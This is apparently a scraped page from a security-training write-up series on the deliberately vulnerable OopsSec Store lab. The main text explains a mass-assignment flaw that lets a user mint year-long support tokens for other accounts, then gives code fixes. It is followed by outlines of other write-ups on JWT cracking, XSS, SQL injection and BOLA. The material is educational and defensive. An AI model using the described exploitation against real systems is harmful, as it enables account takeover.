Vulnerable code analysis

The root cause is a mass assignment flaw in the token generation endpoint:

const targetEmail = body.email || user.email;

The server accepts an email field from the request body and uses it to determine which account the token is generated for. If no email is provided, it defaults to the authenticated user's email. If one is provided, it generates a token for that account with no ownership check.

The mass assignment is the primary flaw, but the endpoint has other problems that make exploitation worse.

Tokens are valid for 365 days. A support token should expire in hours, not a year. An attacker who generates one token has persistent access to the target account for as long as it lives.

Revocation is cosmetic. The application has a "Revoke" button that marks the token as revoked in the database, but the support login endpoint never checks that flag. A revoked token still works.

There is also no rate limiting on the endpoint. An attacker can generate tokens for every user in the system in a single loop.

Historical context

Egor Homakov exploited the same kind of mass assignment flaw on GitHub in 2012, adding himself as an admin on the Rails repository. The mechanism was the same: the server used client-supplied input to determine authorization where it should not have. This class of bug keeps showing up in support access and impersonation features because developers assume the frontend is the only caller.

Remediation

Remove the mass assignment

The server already knows who the authenticated user is. Use that:

const targetEmail = user.email; // Always use the authenticated user's email

Reduce token lifetime

Twelve hours is generous for a support session. Some applications use one to two hours:

const TOKEN_EXPIRY_HOURS = 12;
expiresAt.setHours(expiresAt.getHours() + TOKEN_EXPIRY_HOURS);

Enforce revocation checks

The support login handler must verify the revocation flag before creating a session:

if (supportToken.revoked) {
  return NextResponse.json({ error: "Token revoked" }, { status: 401 });
}

Additional hardening

Rate limiting on the token generation endpoint would also help. One token per user per hour is more than enough. On top of that, requiring re-authentication (password confirmation) before generating support tokens would block any attacker who only has session cookies.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

DEV Community: Oopssec Store

A valid JWT signature won’t save you if the secret is ‘secret’

Environment setup

Reconnaissance

Token extraction and analysis

Identifying the vulnerability

Cracking the JWT secret

Exploitation

Flag

Remediation

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Disclaimers

Feedback & Support

React's XSS protection didn't save this app — a ref callback killed it

Lab setup

Vulnerability overview

Locating the attack surface

Exploitation

Discovering the target

Crafting the payload

Executing the attack

Triggering the vulnerability

Vulnerable code analysis

Server-side: no input sanitization

Client-side: raw HTML injection

Remediation

Server-side sanitization

Client-side safe rendering

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Disclaimers

Feedback & Support

SQL Injection Through the X-Forwarded-For Header (Next.js Lab)

Lab setup

Target identification

Vulnerability analysis

Silent IP tracking

Vulnerable tracking API

Exploitation

Step 1: Find the oracle

Step 2: Close the value list

Step 3: Enumerate the schema

Step 4: Exfiltrate the canary

Vulnerable code analysis

1. Trusting the X-Forwarded-For header

2. Raw SQL with string concatenation

Bonus: Amplifying to Stored XSS

XSS Payload

Impact

Remediation

Use parameterized queries

Validate IP addresses

Trust boundaries

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Disclaimers

Feedback & Support

The DELETE Route Checked Ownership. GET Didn't. (BOLA Write-up)

Table of contents

Lab setup

Vulnerability overview

Exploitation

Step 1: Log in

Step 2: Use the wishlist feature normally

Step 3: Watch the API calls

Step 4: Spot the problem

Step 5: Request someone else's wishlist

Step 6: The flag

Vulnerable code analysis

Remediation

Check ownership before returning data

Apply authorization consistently

Lab